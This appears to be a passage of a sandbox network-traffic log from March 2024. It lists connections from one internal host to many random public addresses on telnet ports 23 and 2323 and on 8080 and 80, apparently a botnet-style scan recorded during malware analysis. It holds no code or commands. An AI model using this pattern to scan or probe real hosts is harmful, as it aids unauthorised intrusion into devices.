Mar 4, 2024 15:05:33.162731886 CET	47577	8080	192.168.2.13	85.3.131.26
Mar 4, 2024 15:05:33.162741899 CET	47577	8080	192.168.2.13	62.152.237.5
Mar 4, 2024 15:05:33.162743092 CET	47577	8080	192.168.2.13	85.139.33.228
Mar 4, 2024 15:05:33.162743092 CET	47577	8080	192.168.2.13	31.184.227.27
Mar 4, 2024 15:05:33.162745953 CET	47577	8080	192.168.2.13	94.144.231.194
Mar 4, 2024 15:05:33.162745953 CET	47577	8080	192.168.2.13	62.18.84.124
Mar 4, 2024 15:05:33.162749052 CET	47577	8080	192.168.2.13	95.56.182.68
Mar 4, 2024 15:05:33.162750006 CET	47577	8080	192.168.2.13	94.8.172.57
Mar 4, 2024 15:05:33.162749052 CET	47577	8080	192.168.2.13	31.123.152.212
Mar 4, 2024 15:05:33.162749052 CET	47577	8080	192.168.2.13	62.134.203.107
Mar 4, 2024 15:05:33.162751913 CET	47577	8080	192.168.2.13	95.204.221.64
Mar 4, 2024 15:05:33.162749052 CET	47577	8080	192.168.2.13	62.153.3.192
Mar 4, 2024 15:05:33.162749052 CET	47577	8080	192.168.2.13	85.150.41.39
Mar 4, 2024 15:05:33.162754059 CET	47577	8080	192.168.2.13	94.63.186.176
Mar 4, 2024 15:05:33.162770033 CET	47577	8080	192.168.2.13	94.131.32.145
Mar 4, 2024 15:05:33.162770033 CET	47577	8080	192.168.2.13	31.136.40.19
Mar 4, 2024 15:05:33.162777901 CET	47577	8080	192.168.2.13	31.179.208.4
Mar 4, 2024 15:05:33.162781000 CET	47577	8080	192.168.2.13	62.87.122.202
Mar 4, 2024 15:05:33.162781954 CET	47577	8080	192.168.2.13	94.129.103.200
Mar 4, 2024 15:05:33.162784100 CET	47577	8080	192.168.2.13	85.229.62.204
Mar 4, 2024 15:05:33.162784100 CET	47577	8080	192.168.2.13	31.45.160.122
Mar 4, 2024 15:05:33.162787914 CET	47577	8080	192.168.2.13	85.240.214.170
Mar 4, 2024 15:05:33.162792921 CET	47577	8080	192.168.2.13	62.1.185.179
Mar 4, 2024 15:05:33.162794113 CET	47577	8080	192.168.2.13	95.172.188.38
Mar 4, 2024 15:05:33.162806034 CET	47577	8080	192.168.2.13	94.127.48.116
Mar 4, 2024 15:05:33.162808895 CET	47577	8080	192.168.2.13	85.155.137.152
Mar 4, 2024 15:05:33.162808895 CET	47577	8080	192.168.2.13	94.158.135.170
Mar 4, 2024 15:05:33.162811041 CET	47577	8080	192.168.2.13	85.91.243.235
Mar 4, 2024 15:05:33.162812948 CET	47577	8080	192.168.2.13	62.168.187.42
Mar 4, 2024 15:05:33.162816048 CET	47577	8080	192.168.2.13	62.204.43.36
Mar 4, 2024 15:05:33.162812948 CET	47577	8080	192.168.2.13	85.199.38.120
Mar 4, 2024 15:05:33.162812948 CET	47577	8080	192.168.2.13	94.79.177.230
Mar 4, 2024 15:05:33.162812948 CET	47577	8080	192.168.2.13	95.18.19.70
Mar 4, 2024 15:05:33.162812948 CET	47577	8080	192.168.2.13	94.31.168.114
Mar 4, 2024 15:05:33.162821054 CET	47577	8080	192.168.2.13	62.172.73.156
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	85.159.150.171
Mar 4, 2024 15:05:33.162827969 CET	47577	8080	192.168.2.13	62.217.58.130
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	94.198.232.227
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	62.40.92.117
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	85.210.96.143
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	85.153.195.76
Mar 4, 2024 15:05:33.162833929 CET	47577	8080	192.168.2.13	62.129.211.65
Mar 4, 2024 15:05:33.162830114 CET	47577	8080	192.168.2.13	85.174.226.45
Mar 4, 2024 15:05:33.162833929 CET	47577	8080	192.168.2.13	85.150.188.79
Mar 4, 2024 15:05:33.162838936 CET	47577	8080	192.168.2.13	94.193.80.61
Mar 4, 2024 15:05:33.162839890 CET	47577	8080	192.168.2.13	31.75.89.125
Mar 4, 2024 15:05:33.162838936 CET	47577	8080	192.168.2.13	62.196.113.216
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	85.78.196.82
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	94.214.195.88
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	95.128.130.65
Mar 4, 2024 15:05:33.162828922 CET	47577	8080	192.168.2.13	94.187.246.30
Mar 4, 2024 15:05:33.162851095 CET	47577	8080	192.168.2.13	62.251.174.208
Mar 4, 2024 15:05:33.162851095 CET	47577	8080	192.168.2.13	95.209.82.34
Mar 4, 2024 15:05:33.162858963 CET	47577	8080	192.168.2.13	31.34.153.33
Mar 4, 2024 15:05:33.162858963 CET	47577	8080	192.168.2.13	62.15.77.218
Mar 4, 2024 15:05:33.162859917 CET	47577	8080	192.168.2.13	85.118.101.221
Mar 4, 2024 15:05:33.162858963 CET	48089	80	192.168.2.13	112.2.55.235
Mar 4, 2024 15:05:33.162859917 CET	47577	8080	192.168.2.13	94.139.201.130
Mar 4, 2024 15:05:33.162858963 CET	47577	8080	192.168.2.13	95.186.81.194
Mar 4, 2024 15:05:33.162862062 CET	47577	8080	192.168.2.13	85.242.26.92
Mar 4, 2024 15:05:33.162859917 CET	47577	8080	192.168.2.13	31.102.75.213
Mar 4, 2024 15:05:33.162862062 CET	47577	8080	192.168.2.13	31.78.232.253
Mar 4, 2024 15:05:33.162866116 CET	47577	8080	192.168.2.13	95.200.107.244
Mar 4, 2024 15:05:33.162863970 CET	47577	8080	192.168.2.13	94.210.75.236
Mar 4, 2024 15:05:33.162862062 CET	47577	8080	192.168.2.13	85.40.20.182
Mar 4, 2024 15:05:33.162862062 CET	47577	8080	192.168.2.13	62.118.112.119
Mar 4, 2024 15:05:33.162862062 CET	47577	8080	192.168.2.13	31.178.140.179
Mar 4, 2024 15:05:33.162863970 CET	47577	8080	192.168.2.13	62.74.200.164
Mar 4, 2024 15:05:33.162862062 CET	47577	8080	192.168.2.13	62.29.159.201
Mar 4, 2024 15:05:33.162869930 CET	47577	8080	192.168.2.13	31.48.29.29
Mar 4, 2024 15:05:33.162869930 CET	47577	8080	192.168.2.13	95.122.80.10
Mar 4, 2024 15:05:33.162887096 CET	47577	8080	192.168.2.13	62.155.65.63
Mar 4, 2024 15:05:33.162894964 CET	47577	8080	192.168.2.13	85.10.178.213
Mar 4, 2024 15:05:33.162894964 CET	47577	8080	192.168.2.13	85.136.239.236
Mar 4, 2024 15:05:33.162894964 CET	47577	8080	192.168.2.13	62.56.243.157
Mar 4, 2024 15:05:33.162903070 CET	47577	8080	192.168.2.13	94.171.245.178
Mar 4, 2024 15:05:33.162903070 CET	47577	8080	192.168.2.13	94.91.245.139
Mar 4, 2024 15:05:33.162908077 CET	47577	8080	192.168.2.13	62.192.190.69
Mar 4, 2024 15:05:33.162908077 CET	47577	8080	192.168.2.13	62.15.142.34
Mar 4, 2024 15:05:33.162908077 CET	47577	8080	192.168.2.13	62.168.23.178
Mar 4, 2024 15:05:33.162908077 CET	47577	8080	192.168.2.13	94.81.168.150
Mar 4, 2024 15:05:33.162909985 CET	47577	8080	192.168.2.13	94.147.194.168
Mar 4, 2024 15:05:33.162909985 CET	47577	8080	192.168.2.13	95.68.251.137
Mar 4, 2024 15:05:33.162911892 CET	47577	8080	192.168.2.13	95.130.232.88
Mar 4, 2024 15:05:33.162911892 CET	47577	8080	192.168.2.13	95.233.70.50
Mar 4, 2024 15:05:33.162911892 CET	47577	8080	192.168.2.13	95.113.210.209
Mar 4, 2024 15:05:33.162915945 CET	47577	8080	192.168.2.13	62.90.45.105
Mar 4, 2024 15:05:33.162915945 CET	47577	8080	192.168.2.13	85.129.109.226
Mar 4, 2024 15:05:33.162918091 CET	47577	8080	192.168.2.13	31.133.151.243
Mar 4, 2024 15:05:33.162935019 CET	47577	8080	192.168.2.13	62.252.211.65
Mar 4, 2024 15:05:33.162935972 CET	47577	8080	192.168.2.13	31.137.36.119
Mar 4, 2024 15:05:33.162935972 CET	47577	8080	192.168.2.13	95.77.149.137
Mar 4, 2024 15:05:33.162935972 CET	47577	8080	192.168.2.13	62.129.231.205
Mar 4, 2024 15:05:33.162935972 CET	47577	8080	192.168.2.13	62.25.54.99
Mar 4, 2024 15:05:33.162944078 CET	47577	8080	192.168.2.13	62.115.130.85
Mar 4, 2024 15:05:33.162944078 CET	47577	8080	192.168.2.13	62.166.138.188
Mar 4, 2024 15:05:33.162947893 CET	47577	8080	192.168.2.13	95.186.105.108
Mar 4, 2024 15:05:33.162955046 CET	47577	8080	192.168.2.13	85.107.30.241
Mar 4, 2024 15:05:33.162955999 CET	47577	8080	192.168.2.13	85.131.9.104
Mar 4, 2024 15:05:33.162962914 CET	47577	8080	192.168.2.13	31.204.207.39
Mar 4, 2024 15:05:33.162962914 CET	47577	8080	192.168.2.13	62.139.87.198
Mar 4, 2024 15:05:33.162967920 CET	47577	8080	192.168.2.13	62.252.153.15
Mar 4, 2024 15:05:33.162966013 CET	47577	8080	192.168.2.13	94.188.74.174
Mar 4, 2024 15:05:33.162966013 CET	47577	8080	192.168.2.13	85.190.125.62
Mar 4, 2024 15:05:33.162977934 CET	47577	8080	192.168.2.13	95.36.136.219
Mar 4, 2024 15:05:33.162977934 CET	47577	8080	192.168.2.13	94.4.33.152
Mar 4, 2024 15:05:33.162980080 CET	47577	8080	192.168.2.13	62.180.52.75
Mar 4, 2024 15:05:33.162980080 CET	47577	8080	192.168.2.13	31.178.231.63
Mar 4, 2024 15:05:33.162982941 CET	47577	8080	192.168.2.13	31.189.205.218
Mar 4, 2024 15:05:33.162980080 CET	47577	8080	192.168.2.13	62.105.2.116
Mar 4, 2024 15:05:33.162980080 CET	47577	8080	192.168.2.13	31.252.236.200
Mar 4, 2024 15:05:33.162981033 CET	47577	8080	192.168.2.13	62.131.221.12
Mar 4, 2024 15:05:33.162981033 CET	47577	8080	192.168.2.13	31.149.97.252
Mar 4, 2024 15:05:33.162981033 CET	47577	8080	192.168.2.13	94.39.42.78
Mar 4, 2024 15:05:33.162981033 CET	47577	8080	192.168.2.13	62.179.85.114
Mar 4, 2024 15:05:33.162993908 CET	47577	8080	192.168.2.13	94.234.120.183
Mar 4, 2024 15:05:33.162993908 CET	47577	8080	192.168.2.13	31.56.152.162
Mar 4, 2024 15:05:33.162993908 CET	47577	8080	192.168.2.13	94.102.181.78
Mar 4, 2024 15:05:33.163000107 CET	47577	8080	192.168.2.13	31.39.216.75
Mar 4, 2024 15:05:33.163000107 CET	47577	8080	192.168.2.13	31.125.25.221
Mar 4, 2024 15:05:33.163007021 CET	47577	8080	192.168.2.13	95.214.146.5
Mar 4, 2024 15:05:33.163012028 CET	47577	8080	192.168.2.13	94.17.232.24
Mar 4, 2024 15:05:33.163012028 CET	47577	8080	192.168.2.13	85.173.145.236
Mar 4, 2024 15:05:33.163027048 CET	47577	8080	192.168.2.13	95.111.241.237
Mar 4, 2024 15:05:33.163027048 CET	47577	8080	192.168.2.13	94.85.5.199
Mar 4, 2024 15:05:33.163029909 CET	47577	8080	192.168.2.13	31.201.226.27
Mar 4, 2024 15:05:33.163036108 CET	47577	8080	192.168.2.13	62.236.202.202
Mar 4, 2024 15:05:33.163036108 CET	47577	8080	192.168.2.13	95.205.57.43
Mar 4, 2024 15:05:33.163038015 CET	48089	80	192.168.2.13	112.109.178.147
Mar 4, 2024 15:05:33.163043976 CET	47577	8080	192.168.2.13	31.105.247.2
Mar 4, 2024 15:05:33.163044930 CET	47577	8080	192.168.2.13	31.146.27.188
Mar 4, 2024 15:05:33.163048983 CET	47577	8080	192.168.2.13	62.62.0.244
Mar 4, 2024 15:05:33.163048983 CET	47577	8080	192.168.2.13	31.125.7.145
Mar 4, 2024 15:05:33.163054943 CET	47577	8080	192.168.2.13	31.182.162.88
Mar 4, 2024 15:05:33.163058043 CET	47577	8080	192.168.2.13	31.57.164.248
Mar 4, 2024 15:05:33.163068056 CET	47577	8080	192.168.2.13	31.106.86.238
Mar 4, 2024 15:05:33.163072109 CET	47577	8080	192.168.2.13	62.11.106.105
Mar 4, 2024 15:05:33.163074017 CET	47577	8080	192.168.2.13	62.114.11.21
Mar 4, 2024 15:05:33.163074017 CET	47577	8080	192.168.2.13	94.17.28.61
Mar 4, 2024 15:05:33.163074017 CET	47577	8080	192.168.2.13	95.184.19.135
Mar 4, 2024 15:05:33.163074017 CET	47577	8080	192.168.2.13	94.29.89.198
Mar 4, 2024 15:05:33.163074017 CET	47577	8080	192.168.2.13	85.175.216.98
Mar 4, 2024 15:05:33.163074970 CET	47577	8080	192.168.2.13	85.212.235.213
Mar 4, 2024 15:05:33.163074970 CET	48089	80	192.168.2.13	112.144.187.168
Mar 4, 2024 15:05:33.163079977 CET	47577	8080	192.168.2.13	62.37.184.137
Mar 4, 2024 15:05:33.163080931 CET	47577	8080	192.168.2.13	95.75.43.41
Mar 4, 2024 15:05:33.163080931 CET	47577	8080	192.168.2.13	62.53.92.56
Mar 4, 2024 15:05:33.163080931 CET	47577	8080	192.168.2.13	95.33.128.64
Mar 4, 2024 15:05:33.163080931 CET	47577	8080	192.168.2.13	31.219.20.3
Mar 4, 2024 15:05:33.163098097 CET	47577	8080	192.168.2.13	95.90.64.71
Mar 4, 2024 15:05:33.163098097 CET	47577	8080	192.168.2.13	95.106.68.162
Mar 4, 2024 15:05:33.163098097 CET	47577	8080	192.168.2.13	94.220.72.172
Mar 4, 2024 15:05:33.163098097 CET	47577	8080	192.168.2.13	95.53.55.205
Mar 4, 2024 15:05:33.163099051 CET	47577	8080	192.168.2.13	95.183.54.91
Mar 4, 2024 15:05:33.163099051 CET	47577	8080	192.168.2.13	85.164.86.9
Mar 4, 2024 15:05:33.163099051 CET	47577	8080	192.168.2.13	31.129.19.143
Mar 4, 2024 15:05:33.163099051 CET	47577	8080	192.168.2.13	95.248.244.198
Mar 4, 2024 15:05:33.163121939 CET	50393	2323	192.168.2.13	115.28.251.117
Mar 4, 2024 15:05:33.163134098 CET	50393	23	192.168.2.13	34.77.45.146
Mar 4, 2024 15:05:33.163141966 CET	50393	23	192.168.2.13	85.79.57.74
Mar 4, 2024 15:05:33.163141966 CET	50393	23	192.168.2.13	48.88.44.157
Mar 4, 2024 15:05:33.163141966 CET	50393	23	192.168.2.13	164.62.59.246
Mar 4, 2024 15:05:33.163144112 CET	50393	23	192.168.2.13	72.107.78.226
Mar 4, 2024 15:05:33.163141966 CET	50393	23	192.168.2.13	27.178.160.92
Mar 4, 2024 15:05:33.163150072 CET	50393	23	192.168.2.13	47.134.241.99
Mar 4, 2024 15:05:33.163151026 CET	50393	23	192.168.2.13	136.77.11.158
Mar 4, 2024 15:05:33.163160086 CET	50393	23	192.168.2.13	167.157.6.188
Mar 4, 2024 15:05:33.163165092 CET	50393	2323	192.168.2.13	95.97.138.4
Mar 4, 2024 15:05:33.163165092 CET	50393	23	192.168.2.13	45.179.184.60
Mar 4, 2024 15:05:33.163176060 CET	50393	23	192.168.2.13	198.165.143.52
Mar 4, 2024 15:05:33.163181067 CET	50393	23	192.168.2.13	179.61.44.87
Mar 4, 2024 15:05:33.163183928 CET	50393	23	192.168.2.13	113.35.163.235
Mar 4, 2024 15:05:33.163184881 CET	50393	23	192.168.2.13	205.195.153.197
Mar 4, 2024 15:05:33.163202047 CET	48089	80	192.168.2.13	112.50.175.211
Mar 4, 2024 15:05:33.163202047 CET	47577	8080	192.168.2.13	95.5.16.80
Mar 4, 2024 15:05:33.163202047 CET	47577	8080	192.168.2.13	85.118.63.150
Mar 4, 2024 15:05:33.163203001 CET	47577	8080	192.168.2.13	95.197.84.248
Mar 4, 2024 15:05:33.163206100 CET	50393	23	192.168.2.13	197.98.0.161
Mar 4, 2024 15:05:33.163203001 CET	50393	23	192.168.2.13	79.217.59.147
Mar 4, 2024 15:05:33.163203001 CET	50393	23	192.168.2.13	115.184.11.91
Mar 4, 2024 15:05:33.163203001 CET	50393	23	192.168.2.13	205.2.26.57
Mar 4, 2024 15:05:33.163211107 CET	48089	80	192.168.2.13	112.78.58.8
Mar 4, 2024 15:05:33.163212061 CET	50393	2323	192.168.2.13	182.180.205.155
Mar 4, 2024 15:05:33.163214922 CET	50393	23	192.168.2.13	53.39.83.42
Mar 4, 2024 15:05:33.163216114 CET	50393	23	192.168.2.13	119.209.157.232
Mar 4, 2024 15:05:33.163230896 CET	50393	23	192.168.2.13	172.207.191.237
Mar 4, 2024 15:05:33.163238049 CET	50393	23	192.168.2.13	181.133.93.228
Mar 4, 2024 15:05:33.163242102 CET	50393	23	192.168.2.13	59.49.169.234
Mar 4, 2024 15:05:33.163248062 CET	50393	23	192.168.2.13	176.230.67.197
Mar 4, 2024 15:05:33.163252115 CET	48089	80	192.168.2.13	112.113.221.234
Mar 4, 2024 15:05:33.163252115 CET	50393	23	192.168.2.13	184.243.185.118
Mar 4, 2024 15:05:33.163275003 CET	50393	23	192.168.2.13	129.122.69.110
Mar 4, 2024 15:05:33.163283110 CET	50393	23	192.168.2.13	134.98.65.53
Mar 4, 2024 15:05:33.163283110 CET	50393	23	192.168.2.13	141.92.108.114
Mar 4, 2024 15:05:33.163285971 CET	50393	23	192.168.2.13	165.103.211.132
Mar 4, 2024 15:05:33.163283110 CET	50393	2323	192.168.2.13	100.171.167.204
Mar 4, 2024 15:05:33.163285971 CET	50393	23	192.168.2.13	196.67.226.227
Mar 4, 2024 15:05:33.163283110 CET	50393	23	192.168.2.13	163.149.116.188
Mar 4, 2024 15:05:33.163283110 CET	50393	2323	192.168.2.13	110.35.161.32
Mar 4, 2024 15:05:33.163283110 CET	50393	23	192.168.2.13	9.251.38.190
Mar 4, 2024 15:05:33.163290024 CET	50393	23	192.168.2.13	43.59.176.253
Mar 4, 2024 15:05:33.163284063 CET	50393	23	192.168.2.13	135.85.251.124
Mar 4, 2024 15:05:33.163301945 CET	50393	23	192.168.2.13	165.181.102.162
Mar 4, 2024 15:05:33.163305044 CET	50393	2323	192.168.2.13	139.66.165.78
Mar 4, 2024 15:05:33.163305044 CET	50393	23	192.168.2.13	197.21.190.231
Mar 4, 2024 15:05:33.163314104 CET	50393	23	192.168.2.13	189.40.76.163
Mar 4, 2024 15:05:33.163314104 CET	50393	23	192.168.2.13	138.54.106.210
Mar 4, 2024 15:05:33.163315058 CET	50393	23	192.168.2.13	157.19.119.206
Mar 4, 2024 15:05:33.163314104 CET	50393	23	192.168.2.13	152.209.173.4
Mar 4, 2024 15:05:33.163315058 CET	50393	23	192.168.2.13	160.247.243.207
Mar 4, 2024 15:05:33.163315058 CET	50393	23	192.168.2.13	91.208.108.113
Mar 4, 2024 15:05:33.163316965 CET	50393	23	192.168.2.13	99.78.2.223
Mar 4, 2024 15:05:33.163327932 CET	50393	23	192.168.2.13	211.105.93.220
Mar 4, 2024 15:05:33.163338900 CET	50393	23	192.168.2.13	118.77.68.253
Mar 4, 2024 15:05:33.163338900 CET	50393	2323	192.168.2.13	125.78.192.233
Mar 4, 2024 15:05:33.163338900 CET	50393	23	192.168.2.13	158.65.108.139
Mar 4, 2024 15:05:33.163342953 CET	50393	23	192.168.2.13	75.97.44.132
Mar 4, 2024 15:05:33.163342953 CET	50393	23	192.168.2.13	207.93.23.208
Mar 4, 2024 15:05:33.163342953 CET	50393	23	192.168.2.13	112.136.205.17
Mar 4, 2024 15:05:33.163348913 CET	50393	23	192.168.2.13	132.84.54.4
Mar 4, 2024 15:05:33.163348913 CET	50393	23	192.168.2.13	49.26.99.131
Mar 4, 2024 15:05:33.163348913 CET	50393	23	192.168.2.13	178.29.155.202
Mar 4, 2024 15:05:33.163355112 CET	50393	23	192.168.2.13	194.77.183.113
Mar 4, 2024 15:05:33.163355112 CET	50393	23	192.168.2.13	57.184.155.2
Mar 4, 2024 15:05:33.163364887 CET	50393	23	192.168.2.13	52.107.69.202
Mar 4, 2024 15:05:33.163364887 CET	50393	23	192.168.2.13	100.132.14.204
Mar 4, 2024 15:05:33.163364887 CET	50393	23	192.168.2.13	223.189.48.6
Mar 4, 2024 15:05:33.163366079 CET	50393	23	192.168.2.13	161.108.160.195
Mar 4, 2024 15:05:33.163367033 CET	50393	23	192.168.2.13	196.245.172.127
Mar 4, 2024 15:05:33.163379908 CET	50393	23	192.168.2.13	8.195.208.224
Mar 4, 2024 15:05:33.163379908 CET	50393	2323	192.168.2.13	69.232.123.157
Mar 4, 2024 15:05:33.163379908 CET	50393	23	192.168.2.13	18.203.126.69
Mar 4, 2024 15:05:33.163379908 CET	50393	23	192.168.2.13	116.12.66.106
Mar 4, 2024 15:05:33.163382053 CET	50393	23	192.168.2.13	14.100.70.107
Mar 4, 2024 15:05:33.163383007 CET	50393	23	192.168.2.13	71.80.113.18
Mar 4, 2024 15:05:33.163383007 CET	50393	23	192.168.2.13	27.159.225.146
Mar 4, 2024 15:05:33.163392067 CET	50393	23	192.168.2.13	34.97.181.222
Mar 4, 2024 15:05:33.163393974 CET	50393	23	192.168.2.13	147.3.79.153
Mar 4, 2024 15:05:33.163394928 CET	50393	23	192.168.2.13	157.115.177.240
Mar 4, 2024 15:05:33.163403988 CET	50393	23	192.168.2.13	41.157.191.198
Mar 4, 2024 15:05:33.163403988 CET	50393	23	192.168.2.13	131.3.246.15
Mar 4, 2024 15:05:33.163403988 CET	50393	23	192.168.2.13	8.2.57.164
Mar 4, 2024 15:05:33.163408041 CET	50393	23	192.168.2.13	145.201.47.8
Mar 4, 2024 15:05:33.163404942 CET	50393	23	192.168.2.13	107.91.169.206
Mar 4, 2024 15:05:33.163404942 CET	50393	2323	192.168.2.13	24.57.120.63
Mar 4, 2024 15:05:33.163410902 CET	50393	23	192.168.2.13	203.212.253.51
Mar 4, 2024 15:05:33.163419962 CET	50393	23	192.168.2.13	210.194.145.68
Mar 4, 2024 15:05:33.163419962 CET	50393	23	192.168.2.13	85.236.209.200
Mar 4, 2024 15:05:33.163424969 CET	50393	23	192.168.2.13	69.251.63.23
Mar 4, 2024 15:05:33.163428068 CET	50393	23	192.168.2.13	145.241.101.88
Mar 4, 2024 15:05:33.163431883 CET	50393	23	192.168.2.13	147.122.253.252
Mar 4, 2024 15:05:33.163434982 CET	50393	2323	192.168.2.13	156.211.217.167
Mar 4, 2024 15:05:33.163436890 CET	50393	23	192.168.2.13	197.151.250.57
Mar 4, 2024 15:05:33.163443089 CET	50393	23	192.168.2.13	71.185.5.91
Mar 4, 2024 15:05:33.163443089 CET	50393	23	192.168.2.13	173.232.75.200
Mar 4, 2024 15:05:33.163453102 CET	50393	23	192.168.2.13	61.152.191.5
Mar 4, 2024 15:05:33.163459063 CET	50393	23	192.168.2.13	203.44.75.116
Mar 4, 2024 15:05:33.163459063 CET	50393	23	192.168.2.13	135.125.121.126
Mar 4, 2024 15:05:33.163459063 CET	50393	23	192.168.2.13	91.167.192.191
Mar 4, 2024 15:05:33.163459063 CET	50393	23	192.168.2.13	158.160.154.228
Mar 4, 2024 15:05:33.163464069 CET	50393	23	192.168.2.13	172.158.234.203
Mar 4, 2024 15:05:33.163464069 CET	50393	23	192.168.2.13	64.20.8.198
Mar 4, 2024 15:05:33.163465023 CET	50393	23	192.168.2.13	118.11.174.120
Mar 4, 2024 15:05:33.163465023 CET	50393	2323	192.168.2.13	2.181.176.151
Mar 4, 2024 15:05:33.163474083 CET	50393	23	192.168.2.13	75.212.76.195
Mar 4, 2024 15:05:33.163486958 CET	50393	23	192.168.2.13	197.180.126.225
Mar 4, 2024 15:05:33.163491011 CET	50393	23	192.168.2.13	143.128.149.181
Mar 4, 2024 15:05:33.163491964 CET	50393	23	192.168.2.13	222.117.198.242
Mar 4, 2024 15:05:33.163502932 CET	50393	23	192.168.2.13	183.182.86.175
Mar 4, 2024 15:05:33.163502932 CET	50393	23	192.168.2.13	101.164.117.12
Mar 4, 2024 15:05:33.163503885 CET	50393	23	192.168.2.13	19.192.135.32
Mar 4, 2024 15:05:33.163506985 CET	50393	23	192.168.2.13	103.91.191.83
Mar 4, 2024 15:05:33.163507938 CET	50393	2323	192.168.2.13	43.172.104.110
Mar 4, 2024 15:05:33.163507938 CET	50393	23	192.168.2.13	169.81.64.13
Mar 4, 2024 15:05:33.163511992 CET	50393	23	192.168.2.13	159.34.11.122
Mar 4, 2024 15:05:33.163512945 CET	50393	23	192.168.2.13	107.48.39.22
Mar 4, 2024 15:05:33.163515091 CET	50393	23	192.168.2.13	135.153.142.60
Mar 4, 2024 15:05:33.163512945 CET	50393	23	192.168.2.13	116.155.230.37
Mar 4, 2024 15:05:33.163522005 CET	50393	23	192.168.2.13	212.60.232.28
Mar 4, 2024 15:05:33.163527012 CET	50393	23	192.168.2.13	32.43.113.52
Mar 4, 2024 15:05:33.163528919 CET	50393	23	192.168.2.13	62.232.166.66
Mar 4, 2024 15:05:33.163532972 CET	50393	2323	192.168.2.13	100.47.150.251
Mar 4, 2024 15:05:33.163533926 CET	50393	23	192.168.2.13	65.243.202.206
Mar 4, 2024 15:05:33.163533926 CET	50393	23	192.168.2.13	201.158.43.23
Mar 4, 2024 15:05:33.163536072 CET	50393	23	192.168.2.13	83.204.211.195
Mar 4, 2024 15:05:33.163546085 CET	50393	23	192.168.2.13	67.125.99.98
Mar 4, 2024 15:05:33.163546085 CET	50393	23	192.168.2.13	212.175.67.213
Mar 4, 2024 15:05:33.163547039 CET	50393	23	192.168.2.13	70.170.133.43
Mar 4, 2024 15:05:33.163547039 CET	50393	23	192.168.2.13	34.112.17.208
Mar 4, 2024 15:05:33.163553953 CET	50393	23	192.168.2.13	105.10.182.37
Mar 4, 2024 15:05:33.163554907 CET	50393	23	192.168.2.13	74.66.246.231
Mar 4, 2024 15:05:33.163561106 CET	50393	23	192.168.2.13	5.173.117.33
Mar 4, 2024 15:05:33.163568020 CET	50393	23	192.168.2.13	80.251.101.173
Mar 4, 2024 15:05:33.163568020 CET	50393	2323	192.168.2.13	99.27.142.204
Mar 4, 2024 15:05:33.163568020 CET	50393	23	192.168.2.13	101.180.28.16
Mar 4, 2024 15:05:33.163574934 CET	50393	23	192.168.2.13	31.64.19.96
Mar 4, 2024 15:05:33.163574934 CET	50393	23	192.168.2.13	155.12.164.163
Mar 4, 2024 15:05:33.163577080 CET	50393	23	192.168.2.13	34.105.24.70
Mar 4, 2024 15:05:33.163577080 CET	50393	23	192.168.2.13	208.233.21.35
Mar 4, 2024 15:05:33.163583040 CET	50393	23	192.168.2.13	41.57.53.129
Mar 4, 2024 15:05:33.163583040 CET	50393	23	192.168.2.13	191.126.143.12
Mar 4, 2024 15:05:33.163585901 CET	50393	2323	192.168.2.13	218.76.14.82
Mar 4, 2024 15:05:33.163585901 CET	50393	23	192.168.2.13	89.242.38.113
Mar 4, 2024 15:05:33.163590908 CET	50393	23	192.168.2.13	156.118.121.33
Mar 4, 2024 15:05:33.163594961 CET	50393	23	192.168.2.13	139.106.163.7
Mar 4, 2024 15:05:33.163594961 CET	50393	23	192.168.2.13	38.136.168.57
Mar 4, 2024 15:05:33.163604975 CET	50393	23	192.168.2.13	59.250.38.92
Mar 4, 2024 15:05:33.163604975 CET	50393	23	192.168.2.13	164.123.156.235
Mar 4, 2024 15:05:33.163604975 CET	50393	23	192.168.2.13	185.172.8.140
Mar 4, 2024 15:05:33.163614988 CET	50393	23	192.168.2.13	99.54.16.131
Mar 4, 2024 15:05:33.163615942 CET	50393	23	192.168.2.13	93.156.211.42
Mar 4, 2024 15:05:33.163618088 CET	50393	23	192.168.2.13	128.188.234.35
Mar 4, 2024 15:05:33.163619041 CET	50393	23	192.168.2.13	69.226.121.202
Mar 4, 2024 15:05:33.163621902 CET	50393	2323	192.168.2.13	190.35.5.110
Mar 4, 2024 15:05:33.163628101 CET	50393	23	192.168.2.13	97.136.100.56
Mar 4, 2024 15:05:33.163629055 CET	50393	23	192.168.2.13	27.175.202.251
Mar 4, 2024 15:05:33.163629055 CET	50393	23	192.168.2.13	130.105.136.72
Mar 4, 2024 15:05:33.163635015 CET	50393	23	192.168.2.13	203.231.214.129
Mar 4, 2024 15:05:33.163639069 CET	48089	80	192.168.2.13	112.63.69.239
Mar 4, 2024 15:05:33.163642883 CET	50393	23	192.168.2.13	183.115.224.75
Mar 4, 2024 15:05:33.163642883 CET	50393	23	192.168.2.13	34.131.242.31
Mar 4, 2024 15:05:33.163654089 CET	50393	23	192.168.2.13	17.92.38.158
Mar 4, 2024 15:05:33.163655043 CET	50393	23	192.168.2.13	23.168.238.242
Mar 4, 2024 15:05:33.163659096 CET	50393	23	192.168.2.13	61.131.63.201
Mar 4, 2024 15:05:33.163659096 CET	50393	2323	192.168.2.13	208.243.199.243
Mar 4, 2024 15:05:33.163671017 CET	50393	23	192.168.2.13	195.150.40.57
Mar 4, 2024 15:05:33.163671970 CET	50393	23	192.168.2.13	115.170.119.197
Mar 4, 2024 15:05:33.163671017 CET	50393	23	192.168.2.13	8.31.251.133
Mar 4, 2024 15:05:33.163671017 CET	50393	23	192.168.2.13	156.63.98.224
Mar 4, 2024 15:05:33.163676977 CET	50393	23	192.168.2.13	84.48.69.229
Mar 4, 2024 15:05:33.163681030 CET	50393	23	192.168.2.13	141.234.115.74
Mar 4, 2024 15:05:33.163681984 CET	50393	23	192.168.2.13	114.149.233.120
Mar 4, 2024 15:05:33.163681030 CET	50393	23	192.168.2.13	198.224.137.193
Mar 4, 2024 15:05:33.163681984 CET	50393	2323	192.168.2.13	149.35.207.55
Mar 4, 2024 15:05:33.163681030 CET	50393	23	192.168.2.13	154.48.19.95
Mar 4, 2024 15:05:33.163691998 CET	50393	23	192.168.2.13	189.82.75.87
